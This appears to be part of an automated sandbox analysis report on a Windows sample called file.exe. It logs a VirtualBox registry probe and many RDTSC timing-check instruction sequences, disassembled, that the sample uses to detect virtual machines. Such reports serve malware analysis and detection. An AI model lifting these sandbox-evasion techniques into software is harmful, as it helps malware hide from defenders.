Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3183A6 second address: 3183D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 js 00007FE9047A81F1h 0x0000000e jp 00007FE9047A81D7h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3183D1 second address: 3183D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3183D5 second address: 3183D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31851C second address: 318539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318539 second address: 318544 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3189A6 second address: 3189BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FE90543D6C2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3189BF second address: 3189C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31ABC7 second address: 31ABCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31ABCB second address: 31ABE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE9047A81D1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31ABE4 second address: 31ABE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31ABE8 second address: 31AC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, 6D9Ah 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FE9047A81C8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a sub dword ptr [ebp+122D1DA0h], esi 0x00000030 call 00007FE9047A81C9h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push esi 0x0000003a pop esi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AC2F second address: 31AC35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AD28 second address: 31AD7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 79BAF550h 0x00000010 push ecx 0x00000011 sub ecx, dword ptr [ebp+122D2A77h] 0x00000017 pop edi 0x00000018 lea ebx, dword ptr [ebp+124528DDh] 0x0000001e cld 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 jmp 00007FE9047A81CAh 0x00000026 push edx 0x00000027 jne 00007FE9047A81C6h 0x0000002d pop edx 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FE9047A81D6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AD7C second address: 31AD82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339504 second address: 33950B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33950B second address: 339526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE90543D6BBh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339526 second address: 33952C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339644 second address: 33967D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007FE90543D6C7h 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jmp 00007FE90543D6C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33967D second address: 339688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339688 second address: 339692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE90543D6B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339692 second address: 339696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339696 second address: 3396C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE90543D6C4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE90543D6C1h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339826 second address: 339869 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CEh 0x00000007 push edx 0x00000008 jno 00007FE9047A81C6h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 jmp 00007FE9047A81D7h 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE9047A81CAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339869 second address: 339875 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE90543D6B6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339875 second address: 33988D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE9047A81D3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339DBC second address: 339DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339DC2 second address: 339DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339DC6 second address: 339DDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE90543D6C1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339DDD second address: 339E0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FE9047A81D7h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FE9047A81C6h 0x00000015 jng 00007FE9047A81C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 339F88 second address: 339F91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33A0D6 second address: 33A0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33A0DD second address: 33A10B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE90543D6CFh 0x00000008 jmp 00007FE90543D6C3h 0x0000000d jng 00007FE90543D6B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE90543D6BBh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33A23F second address: 33A245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3306DD second address: 3306E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3306E5 second address: 330707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 jmp 00007FE9047A81D6h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33A6D2 second address: 33A6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33AC86 second address: 33AC8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33AC8B second address: 33ACD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FE90543D6CCh 0x00000011 jmp 00007FE90543D6C3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33ADFA second address: 33ADFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33ADFE second address: 33AE13 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE90543D6BAh 0x0000000b pop esi 0x0000000c push esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33AF6A second address: 33AF86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33AF86 second address: 33AF96 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE90543D6C2h 0x00000008 jl 00007FE90543D6B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B393 second address: 33B39F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FE9047A81C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33D9F2 second address: 33D9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33D9FA second address: 33DA0A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE9047A81C6h 0x00000008 jo 00007FE9047A81C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33DA0A second address: 33DA0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33DA0F second address: 33DA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE9047A81C6h 0x0000000a pop eax 0x0000000b jmp 00007FE9047A81D0h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jng 00007FE9047A81FCh 0x00000018 jbe 00007FE9047A81E3h 0x0000001e jmp 00007FE9047A81D7h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33FCD4 second address: 33FCE2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jc 00007FE90543D6B6h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33FCE2 second address: 33FCE9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342FE1 second address: 342FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE90543D6C9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342FFF second address: 343005 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 343005 second address: 343009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34341B second address: 343428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 343428 second address: 343431 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34366F second address: 343673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 343673 second address: 343677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345E3C second address: 345E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9047A81CAh 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 popad 0x00000016 jng 00007FE9047A81D2h 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30410F second address: 304113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304113 second address: 304156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE9047A81D1h 0x0000000c jnc 00007FE9047A81C6h 0x00000012 js 00007FE9047A81C6h 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b jl 00007FE9047A81CEh 0x00000021 push edx 0x00000022 pop edx 0x00000023 jnp 00007FE9047A81C6h 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FE9047A81CBh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 304156 second address: 30415C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34BA58 second address: 34BA5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34BA5C second address: 34BA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34BA62 second address: 34BAA0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007FE9047A81C6h 0x00000009 jnl 00007FE9047A81C6h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007FE9047A81C6h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jno 00007FE9047A81C6h 0x00000025 push edx 0x00000026 pop edx 0x00000027 jc 00007FE9047A81C6h 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 jmp 00007FE9047A81CEh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B1E1 second address: 34B209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE90543D6C4h 0x0000000c jmp 00007FE90543D6BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B209 second address: 34B20D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B20D second address: 34B218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B713 second address: 34B718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E221 second address: 34E226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E226 second address: 34E22C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E3AC second address: 34E3B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E5CC second address: 34E5E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E5E0 second address: 34E5E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EB33 second address: 34EB54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FE9047A81C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f mov di, 47C9h 0x00000013 nop 0x00000014 pushad 0x00000015 push esi 0x00000016 jnp 00007FE9047A81C6h 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED11 second address: 34ED1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE90543D6B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EE1E second address: 34EE41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EE41 second address: 34EE47 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 350066 second address: 35007C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9047A81D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35007C second address: 3500F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FE90543D6B8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov si, dx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007FE90543D6B8h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov si, bx 0x0000004a push 00000000h 0x0000004c mov si, bx 0x0000004f xchg eax, ebx 0x00000050 pushad 0x00000051 jns 00007FE90543D6B8h 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3500F1 second address: 3500F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3500F5 second address: 350106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FE90543D6B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351DCD second address: 351DD7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE9047A81CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351DD7 second address: 351E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FE90543D6B8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007FE90543D6B8h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 00000019h 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f xor dword ptr [ebp+122D2507h], edi 0x00000045 push 00000000h 0x00000047 pushad 0x00000048 mov ax, 842Ah 0x0000004c cmc 0x0000004d popad 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FE90543D6C3h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351E4A second address: 351E5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3528B4 second address: 3528B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3528B8 second address: 3528C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE9047A81C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3532DC second address: 3532FA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE90543D6B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE90543D6BFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353BE5 second address: 353BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353BE9 second address: 353BF3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE90543D6B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
